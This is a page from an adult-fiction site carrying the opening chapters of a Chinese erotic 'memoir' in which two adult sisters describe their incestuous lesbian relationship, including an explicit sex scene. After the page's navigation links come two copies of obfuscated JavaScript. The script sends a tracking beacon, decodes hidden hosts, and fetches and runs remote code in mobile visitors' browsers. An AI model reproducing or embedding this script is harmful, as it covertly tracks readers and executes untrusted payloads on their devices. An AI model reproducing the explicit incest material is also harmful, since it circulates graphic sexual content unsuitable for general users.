图片载入中

绯涩瑾年

特大字】 【大字】 【中字】 【小字

绯涩瑾年

【序言】:

瑾年绯涩醉流苏,携一缕牵念与你惺惺相惜,捻一抹温存和你形影相随。

就像是充满糖果香气的言情小扎,将时间为轴,承载上我们之间的总总温馨。

青梅竹马,两小无猜,风雨同舟,温情浓爱…

我们笑过,也哭过,一切的一切,那点点滴滴只属于我们的甜蜜美好,终都凝成了心间的幸福。

我是风,正包围在你身旁。我是春天,紧抱住你的天空。我是星星,默默看着你守护你。我是鸟儿,永远为你而歌唱。

花开花谢,斑驳的岁月孜刻了流年,我是如此深深眷恋着你。能和你相爱真好,真的真的是很好……

(这是一部我和姐姐以我们之间真实的百合恋情故事为内容,共同执笔写下的回忆录。)

【附章一】:万事最是开篇难

“我们开始写。”

“恩恩。”

(滴答滴答…时间在飞快的流逝……我和姐姐在电脑前写了删,删了又写,怎么写就是不满意…)。

“姐,好难下笔哎~.”

“是嗯,真纠结,我们好好梳理下思路吧,恩…当初我们为什么写这部回忆录?”

“因为去年暑假的时候,你爸爸、我妈妈(这么称唿好别扭,其实是我们共同的爸妈,这么称唿的原因可以自己猜测吧,以后的章节会说明的),终于答应不再干涉我们姐妹两相爱了,那会我们好开心好开心,商量之后就把他们做出妥协的那天定位了我们的结婚日。如今我们的第一个结婚纪念日说远也不算远了,我们想为这个纪念日留下点特殊的献礼,于是就决定写这部回忆录了。”

“我们这部回忆录的主要内容是什么?”

“把我们从小到大的总总经历,都回忆出来记下,整理后写成故事小集,作为我们爱的见证好好珍藏。”

“那么文学体裁上,回忆录的特点是什么?”

“这个那个……”

(真是的,为什么老是问我问题,明明你已经知道答案的)

“喂喂,发啥呆呢,快回答我问题……”

(姐姐有点娇嗔的瞪了我一眼)

“姐…我发现你今天的真的好漂亮,真的……”

(瀑布汗直流,靠在姐姐身上,撒娇的轻蹭着姐姐……从小到大,每当要挨姐姐骂时最万用的办法——“撒娇”,可惜姐姐这回似乎免疫了。)

“你猜,如果我们当年大学时的文学理论教程科老师出现在我们面前,他会最想做什么事呢?”

(姐姐一副痛心疾首的表情看着我…)

“呃……”

(胆怯胆怯,大概…大概会拿着那本小厚的课本直接PIA 飞吧,脑后是几条森森的黑线。)

“真是丢死人了,我不认识你、不认识你,别跟人说我们都是大学师范类语文教育专业毕业,现在还同是公立初中的语文老师…Orz.”

“呜呜,我伤心了。”

“伤心了也不认识你。”

“好吧,求只铅笔,我去墙角蹲着画会圈圈去。”

“嘿嘿,好啦好啦不闹了,回忆录是一种叙事性的文学体裁,作者回忆自己亲身经历的往事,然后以记叙文的文体,真实的将其记录下来,回忆录又被称为岁月的录像。”

“姐你是我偶像。”

“去去,说正经的别开玩笑了,我知道怎么写开篇了。”

“怎么写?快说出来,坦白从宽,抗拒小心屁股遭殃!”

“记叙文三要素是什么?”

“还提问呀…时间、地点、人物。”

“那我们就从这三点入手,一开始肯定先写我们幼* 年时吧。那么时间:童年地点:我们小时候一起生活的农村,人物:主角是我和你”

“恩恩,然后呢”

“然后然后我们…

(其实本来想继续开玩笑说:副手,去倒杯水来,本大人口渴了。不过看着姐姐那幽怨的眼神,呃…听说…听说最近上帝似乎在放假)

“你呀你,都26岁的人了,还跟个小孩子似的,羞羞脸嘿。我们先相互自我介绍。”

“明明才24岁半好不好。”

“ =# ……”

“呃……”

(厚着脸皮对姐姐吐吐小舌做了个鬼脸)

“我先来介绍吧,我是楼上那傻妞的亲姐姐,比她大一岁零四个月,爱人是我的亲妹妹。我们应该算是H ,即不分T 、P ,除了性取向外,任何方面都跟正

常女生无异的拉拉。

不过呢,我们又似乎不是拉拉,或者说是特殊的拉拉。因为我们不仅对男性没兴趣,同时还对除了对方之外的任何女性也没兴趣(想吼人妖有没兴趣的作死= =#),我们更像是喜欢彼此在一起的感觉所以在一起了,渐渐日久生情就爱上对方了。

现实中的我们,都是大学师范类语文教育专业毕业,现在的职业亦都是公立初中的语文老师。“

“抗议!严重抗议!你才是傻妞,你全家都家是傻妞哼哼。什么?嗯…好像那么的我们两是一家人……总而言之,本大人心情好不跟你一般见识,我是楼上那位坏人的妹妹,爱人是总爱欺负我的亲姐姐。”

(冷场十秒钟后…)

“然后呢?”

“什么然后呀??”

(一副无辜的眼神望着姐姐…)

“喂,你这是抄袭,抄袭知道么!模仿我说的话且不提,还只模仿了个半生不熟,人家观众会抗议的。”

“咩~ ,是么,好吧,那我继续扯……那啥啥,我们都长得还算不错,姐姐身材很好,脸蛋也好看,看着很有温文尔雅大家闺秀的气质,性格比较倔强要强些。我么,偏可爱甜美点,性格很随和,留着一头梨花头发型,加上也还算生得不错的微微婴儿肥的脸蛋,大学时曾被我们所在文学院里的男生戏称为系院内最是让人产生想抱回家去养着的猫。”

“&#% ……”

“呵呵,因为一般故事不都有这桥段嘛,某某女主角如何如何美若天仙尔尔,咱们不能特立独行不写对不…啊,不要用杀死人的眼神看着我……好吧好吧我错了不该写这段,不过我也没夸张呀…我们两确实都长得还算不错嘛。”

“真是说不过你…能不能说些有用的介绍……”

“哦,好吧,我和姐姐,在我们很小的时候,我们就已经许下了这辈子都不嫁人永远在一起的诺言。尽管是童言无忌,可诺言终究还是成真了。我想,大概是命运之神给我们开的玩笑吧,总之感谢命运让我们阴差阳错相爱相知了。”

“这还差不多,我继续:如今的我们,虽说彼此之间那种又像爱情、又像亲情、又是友情的感情蛮是奇怪的,不过生活在一起都觉得非常甜蜜幸福的我们,是一点不会觉得介意的。我们之间二十多年的风雨考验,无论是包容互爱,或是理解体谅默契度,我们相信都会远比嫁给了一个天知道是否婚前一套婚后一套,又或者等等等等诸多不确定因素的陌生男人来得更好。”

“是呀是呀,我觉得我们之间,除了都是女的外,跟正常夫妻完全没任何差别。我们都是不缺浪漫之心的人,对那份感情的精心呵护,使我们在一起的每一天至今都还像小说又或电视剧里热恋中的男女那般恩爱,这是我们最开心的事情。

一般拉拉最怕的是什么,是对方用情不专一感情不稳定,怕被人知道关系,怕两个女人养不起彼此,而我们完全没有这些担心。“

“恩哼哼,精神世界里,我们早已都把对方当作了自己可依靠的避风港。于物质世界上,我们工作稳定收入也足够养活日子。”

“我们之间也不是没有苦难过,很多很多,不过最后我们都还是挺过去了,如今我们几乎把所有可能影响我们感情的问题都已经解决不存在了,至少现在让我们想我们是想不出可能导致我们分手的理由了。总之如今完全没有任何压力的我们,我们两一致相信,除非像真正夫妻那般出了严重感情问题离婚,否则我们恩爱一辈子是一点也不困难的事情。”

“恩。”

“好像没什么可说的了,酱紫的自我介绍可以了吧?”

“恩。”

“那我们接下来继续写什么?”

“你是主写好不好…”

“可你刚才不是说已经想出怎么写了嘛…”

“可是我现在忘记了呀…”

“&#% …”

“很迟了,我们睡觉吧,明天再继续写……”

“&#% ……”

(姐姐又摆出了一副一脸幽怨的表情)

“好吧好吧知道了,我们睡吧……”

“恩。”

“能不能别再恩了…”

“恩。”

“&#% ……”

【外番赠章】:讨厌的隐私问题

(晚上,洗过澡后,我和姐姐坐在电脑前)

“姐,你倒是说句话嘛,那些属于我们女儿家的私房隐私,到底是写不写进这部回忆录里去?都不懂如何下笔了。”

“别把问题推给我,我不知道…”

“可你是我姐姐。”

(冷场十秒后,姐姐一副无辜的眼神看着我…)

“那个…姐姐是什么,味道好吃么……”

“&#% ……”

“哈哈,好啦好啦,我问你,为什么要写那些事?”

“因为那些难以启齿的话题,很多都是我们成长史上无法忽视的一部分。虽然尴尬或羞人,却是温馨满满,它让我们之间的感情变得更加的亲密与稳定。”

“那么不写的好处是什么?”

“没有羞耻感。”

“写的好处是什么?”

“为我们回忆录更添许多温馨。”

“回忆录越是温馨越是好么?”

“恩的,这部回忆录,一方面,我们可以像照片般常常拿来看看,应该对加深我们之间的感情很有用处的。

另一方面,它也是一副治疗感情问题的药剂,未来万一哪天我们闹矛盾吵架了,只要不是不可挽回的程度,看看这部回忆录跟着回想过往,相信我们会重归于好的。“

“那你说是写不写呢?”

“好像是利大于弊恩……那我们写完后,还保持原来态度决定发表到网络去么?我们一开始可都没想到会涉及那些内容的…”

“让我想想…”

(几分钟过去了…)

“汐,我们是要珍藏这部回忆录的对吧?”

“恩,肯定啦。”

“那我们怎么珍藏?要知道我们这部回忆录既然决定了把隐私的事一并写进去,那么便必须保证让熟人看不到,或是看到了也不知道是我们写的,不然我们真是没脸见人了,保密工作一定要做好。”

“写纸上藏起来?”

“哪天万一比如家里招贼,或是我们某日想重温下那段时光把本子拿出看,事后什么原因又忘了藏起…”

“那保存我们电脑上?”

“万一电脑被偷,或者谁用我们电脑时看到了,再么万一电脑中毒…”

“难道还是发网上去?可那样不是会被很多人看到?”

“我们写的时候注意些,只要别人不知道是我们写的不就好了?”

“似乎确实是这么一回事…那我们发表网上哪里?那些H 的内容应该是会被正规书网屏禁的吧?”

“&#% ……”

(彼此沉默了一分多钟…)

“想不出想不出!!怎么写本回忆录也这么麻烦,真是讨厌死人。”

“我说,含H 性质的文章,似乎只有H 文网才能发表不被屏蔽吧,要么我们…”

“姐你疯了吧,去那种地方…”

“我们都是大人了,又不是纯情小* 女生…”

“可是…总归觉得我们两女孩子去那种几乎都是男人的地方不太好吧……像是小羊羔进了狼窝……”

“放心我会保护你的。”

“可是…可是……我还是觉得似乎你也被吃掉的概率会比较大一点……”

“&#% ……”

(我们开始百度搜起了H 文网,找到了好几个,可是除了这个网站外,都是要么只有管理才可以转发贴,要么得成为签约作者才能发稿,这也是我们来这网站的原因。版主看到我们来这的原因是这样的会不会伤心?)

“对了姐,既然是你提议来H 网发帖的,以后H 部分的内容就由你来写好不好。”

(一副可怜巴巴的眼神望着姐姐)

“免谈,你才是主写。”

“可人家从没写过H 呀,那些尴尬或是羞人的事,我不想写也不会写,如果你非要我写,我我我…我就罢工哼哼。”

“那就不写罢工吧…”

“不是吧,呜呜,这么没爱心,你应该要像电视剧里的亲姐妹那样,握住我的手,深情款款的对我说,妹妹,虽然前进的道路会很艰难,不怕有姐姐在,我会帮你扛的……”

(对姐姐做了个鬼脸)

“&#% ……”

(看着姐姐无语的表情,忍不住的捂嘴笑)

“真的不懂怎么写?确一定以及肯定?可别后悔哦。”

“就是不懂,不懂不懂不……咦,姐姐你要去干嘛……”

“给你一些写作的灵感。”

(姐姐说着起身向床头走去,拿出钥匙像是要打开我们平时放各种“玩具”的柜子)

“姐,你要干嘛??”

(没回答我,真的打开了那个柜子,似乎犹豫选哪样“玩具”的呆了几秒,然后就从里头拿出了一个双头跳蛋,很可爱的淡粉色,双跳蛋都差不多2.5cm 宽,

长度长跳蛋差不多10.5cm长,短跳蛋5cm ,好吧这描述很肯定确定,因为为了写

这章,我们刚特意去拿尺子量了下的= =#)

“不要…”

(我真的是害怕了,左手捂着嘴,近乎哀求的语气喊到。不知所措,想着一会要发生的事,心就砰砰直跳。姐姐仍旧没听见我说的话般,细心的用棉签蘸着稀释过的酒精擦拭了两遍双蛋,又从热水瓶里倒了点温水出来擦拭了一遍)

“乖,不怕不怕哟。”

(姐姐走到我身前,轻轻的亲吻了下我的脸颊。)

“姐,我还要写文,不玩了真的,这玩笑一点也不好玩,不要…求你了…而且而且…对了,你这几天不是正在例假期不可以的么……”

(心里七上八下,嘴里慌乱的找着拒绝的理由。)

“我是来事不可以,可你可以呀,听话宝贝,我会很温柔的。”

“呜~ ”

(姐姐将刚才消毒好的跳蛋放入睡衣口袋内,从我身后把我抱住,右手抱在我腰上上来些的地方,左手将我左耳部分的头发往耳后捋按住不散下来,吐出小舌头,轻舔着我的耳朵。

像跳动的精灵般,舌头先是轻轻的上下挑动,当我稍微适应些了又变成转圈圈,不时的还吸舔我几下耳垂。起初我是很紧张的,双手合握,像少女祈祷手势的放在胸前,渐渐的,随着姐姐舌头带来的软绵,和那那一阵阵小酥痒的感觉,我的心也放松了下来,全身心投入姐姐给予的爱海之中。

慢慢的,姐姐的舌头沿着耳朵向下舔动,最后延到了我的后颈,忍不住的,一股像触电的酥麻感,身体抖了一抖,心里不经也泛起了一丝丝淡淡的冲动。)

“姐…”

(我扭过头去,刚开口,便已被姐姐的嘴唇堵上,很温馨很柔和的亲吻,同时姐姐的双手也一齐抱在了我的胸处,一边亲吻着我,一边轻轻按压着我的胸部,想说不要,却又被吻着说不出口。慢慢的,感觉胸部越来越胀硬,下体也开始产生了一点感觉。被挑起了的欲望下,我忍不住的转身,和姐姐脸对着脸,两人都把手抱在对方脖颈处,开始了热吻…

吻着吻着,姐姐好不老实的右手偷偷伸进了我的睡衣内,顺着我的腰向上,后背来回轻轻滑动着,让我不禁觉得好是放松,仿佛就沉浸在了幸福之中。渐渐的,双手开始先前胸的位置游动,最终停留在了我胸部,隔着胸罩,比刚才更是用力些的捏压。我身体的感觉是越加的欲求不满,下体也开始觉得有一点点湿了…)

“汐…”

(姐姐,停了下来,含情脉脉的看着我…)

“恩?”

(没有再说话,只是慢慢的把我睡衣上拉到胸部之上,再把我的胸罩也上移露出双乳,左手搭在我肩上,右手在放在我的右胸轻缓的揉压捏按,同时微微下蹲身子,用舌头挑弄着我左胸的乳头)

“啊!!”

(几乎一个踉跄没站稳,极度强烈的刺激感泛遍全身,身体本能的想往后躲想逃避姐姐的舌头,可惜被姐姐搭在肩上的左手按着了逃不掉。像是在忍受着什么似的,缩着脖子,双手弯曲握拳,紧贴在胸部的左右两侧,喉咙颤抖的喘着气。

姐姐用舌头挑弄了我有四五分钟,停下的时候,我已经是仙飘飘浑身无力的感觉了,靠抱着姐姐,脸颊泛红,好想时间定格,就这么抱着姐姐一辈子永远永远不分开。

可是姐姐似乎根本就没想过要饶了我,还没给我喘息的机会,由手又已经伸进了我的内裤……)

“不要…不要呜呜…不要……”

(姐姐的手指灵巧的在我内裤里滑动着,我紧抱住姐姐,在姐姐耳边无力苍白的说着反抗的话语,可是身体却在出卖我,下体带来的强烈刺激感,让我的欲火燃烧的更加浓烈,甚至屁股开始前后小幅度的扭动,有些主动的去迎合上姐姐的手指。)

“真的不要么?”

(可恶的姐姐还没忘挑逗了我句。)

“坏人,大坏人,你你你…恩……”

(姐姐的手指忽然在我阴道口的位置隔着内裤轻轻按压了几下,然后…然后就感觉一股温热粘滑的液体从体内缓缓流了出来。双腿是真的站不稳了,几乎全身的体重都压在了抱住的姐姐身上。)

“我们躺床上去吧”

“恩。”

(说着我小腿都还在微微颤抖的移到了床上。姐姐让我平躺下来,然后慢慢的拖去我的睡裤,从口袋里拿出刚才的跳蛋,打开了开关隔着内裤缓缓在我私处滑动挑弄……

很舒服的压抑感,真的可以用这词来形容,明明非常的舒服,但又觉得好是难受,那种给你好吃的东西却不让你吃得尽性的感觉。不过毕竟还是害羞不敢开口的,虽然心里真的想说姐姐把我弄得更舒服点吧……

姐姐拿着跳蛋隔着内裤弄了有五六分钟吧,我不确定时间,姐姐停下的时候我已经有些迷煳状态了。

再之后,姐姐把我的内裤都脱了下来,用右手食指中指沾了些我分泌的爱液,左手轻轻分开我的阴唇露出阴蒂,然后将着微湿的手指压着阴蒂揉压。)

“恩…呜呜…恩……”

(这是比刚才被用舌头舔胸时的感觉更加强烈不知道多少倍,我身体在床上扭捏挣扎,近乎哭泣的声调哼哼着。姐姐继续用手指按压着我的阴蒂,同时继续用嘴贴上我的私处开始亲吻。)

“汐,舒服么?”

“恩恩,舒服死了…”

“让你更舒服些。”

(说着姐姐转头对我吐了吐舌头做了个可爱的表情,然后便又拿起了刚才丢在床边的双跳蛋,将里头那个长跳蛋,在我阴道口缓缓滑动,当蛮润滑了的时候,便轻轻旋转的插入我的阴道内,同时慢慢来回的抽动着。)

“呜~ ,不要…不要抽动,我要受不了了……”

(我忍不住的夹紧了双腿,姐姐根本不理睬我,继续弄着我,而且超坏超坏的,是缓缓的抽出,再用力的深深插入,弄得我更加欲求不满。)

“呜呜~ 我要去了要去了……”

(双腿忍不住的夹得更紧,一只手抓着枕角,一只手握在嘴前牙齿轻咬着,头在床上不停的左右摇着,嘴里低哼不要不要……好吧我快高潮时就是这样的傻气,我也不懂为什么天生这习惯Orz )

“没事的,去吧,汐,我爱你,很爱很爱你。”

“我…我…爱…也…你……嗯……”

(终于还是去了,感觉着身体剧烈的痉挛,眼前的一切都变得模煳,仿佛一股暖流从下身通向全身,仙飘飘一般的感觉。)“姐…”

(尽管还是浑身无力的感觉,不过心中对姐姐的满满爱意让我还是忍不住的坐起了身子,一把搂住了姐姐,就想这么一直抱着姐姐不要分离。)

“傻瓜…”

“就算成了傻瓜也爱你…”

“我也好爱你…”

“舒服么?”

“舒服,都被你弄得好H 了,姐你今天是例假的第四天了吧,再过几天我也会”礼尚往来“的嘻嘻”

“你你……”

“啊啦啦……”

(忍住的又亲吻上了姐姐……)

PS:这段H 是四天前发生的事,喵呀的发现真不该今晚写这章,回忆着这段回忆等同是在性幻想了,害得我们两现在都难受得要死= =#……,姐姐倒是能自己夹抱枕蹭蹭解决,可我明天有早课7 点左右就得出门,今晚我要啥了话明天打死起不来,圈圈啊圈圈呜呜……

【附章二】:题外话

我们两拟写的纲要是第一卷是为非正文的说明之类。第二卷为童年时期,写的是初中毕业之前的事。第三卷为我们之间恋情史很重要的一个重点,高中高*一,这是我们两的关系处于十字路口的阶段,陌路、姐妹还是恋人。第四卷仍是高中阶段,高中的后两年,我们感情第一次面临的最艰难的考验期。

第五卷至之后几卷都是写大学阶段,具体分几卷还没定,大学四年发生的事情太多了,不过可以肯定的是这几卷内容会非常的甜蜜温馨,因为这阶段的我们很幸福的一个阶段。

再之后就是进入社会了,至少分三卷内容来写,一卷是处理父母那边的反对,一卷是我们工作了,处理和同事之间的关系以及女大当婚的压力。一卷是我们的日常生活。最后再加一卷收尾,写我们的如今的生活。大体就是这样吧……

另外关于时间,我们两每天晚上吃完饭后都要先批改学生作业和备课,然后洗完澡才有空闲的时间,这么一忙差不多就要到九点半多了,一般我们十一点过些就会睡觉了,所以每天也就差不多一个小时多点的时间来写文,构思、下笔、核对、修改等等都是很耗时的。

而且我们两都是大女孩了,生理需求自是难免。事实上除去生理期的那些日子,我和姐姐每周也会像正常夫妻那般一起做上两三次,感觉来了一周三四次也有过,偶尔的也会一起玩些小花样,我们不懂跟男人那啥了话是什么感觉,但我们两都对彼此用舌头手指加一些情趣工具的感觉非常满足了的。

如果两晚上有那啥啥了话,我们十点过些就会开始呢,根本就不会去写这文了,因此我们能做出的保证就是肯定两周能够一更的,同时尽可能努力每周连载一更吧。

(补充:第二卷我们其实已经写得差不多了,如果可能,或许会周末发吧,今天我是来例假了身体很不舒服,跟其它科老师调了课请假在家休一天,闲着无聊就把第一卷改好,刚姐姐回来商量了下决定先发上来了。)

未完待续


上一篇:给OL娇妻绑上了眼罩(08-09)

下一篇:性爱回家之 丝袜汤圆


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};